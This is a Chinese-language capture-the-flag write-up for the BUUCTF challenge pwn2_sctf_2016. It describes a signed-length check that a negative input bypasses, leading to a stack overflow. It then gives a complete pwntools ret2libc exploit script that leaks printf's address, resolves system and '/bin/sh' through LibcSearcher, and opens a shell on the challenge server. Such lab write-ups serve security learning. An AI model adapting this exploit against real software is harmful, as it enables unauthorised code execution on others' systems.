[buuctf]pwn2_sctf_2016 1

首先查看一下文件的保护措施
image
在用ida看看,先反编译一下main函数
image
跟进一下vuln函数
image
注意到这里有一个get_n,是一个自定义的函数,继续点击查看一下
image
然后发现a2是一个无符号的整数,如果输入一个负数,可以绕过下面的对于v2的大小的限制,并且在输入一个负数后,会将其转化为一个较大的整数,这样就可以输入足够长的数据
进行栈溢出
然后观察文件,没有出现后门函数,也没有/bin/sh,NX也是打开来的,那这里就要想到ret2libc了
首先要泄露libc的基址
观察在main函数中调用了printf这个函数,那在进行printf的执行之后,在进行调用printf进行打印printf.got 表上的内容,即printf在libc当中的真实地址
根据这个真实地址可以算出偏移量,然后找到system函数和/bin/sh的真实地址即可

点击查看代码
from pwn import *
from LibcSearcher.LibcSearcher import LibcSearcher
io=remote("node5.buuoj.cn",26782)
io.sendlineafter("How many bytes do you want me to read? ",'-1')
io.recvuntil('\n')
elf=ELF("./pwn2")
printf_plt=elf.plt["printf"]
printf_got=elf.got["printf"]
main=elf.symbols["main"]
payload1=b'A'*(0x2c+4)+p32(printf_plt)+p32(main)+p32(printf_got)
io.sendline(payload1)
io.recvuntil(b'\n')
printf_addr=u32(io.recv(4))
libc=LibcSearcher("printf",printf_addr)
offset=printf_addr-libc.dump('printf')
system_addr=offset+libc.dump('system')
bin_sh=offset+libc.dump('str_bin_sh')
io.sendlineafter("How many bytes do you want me to read? ",'-1')
io.recvuntil(b'\n')
payload2=b'A'*(0x2c+4)+p32(system_addr)+p32(main)+p32(bin_sh)
io.sendline(payload2)
io.interactive()



posted @ 2025-08-19 22:23  Rye01R  阅读(31)  评论(0)    收藏  举报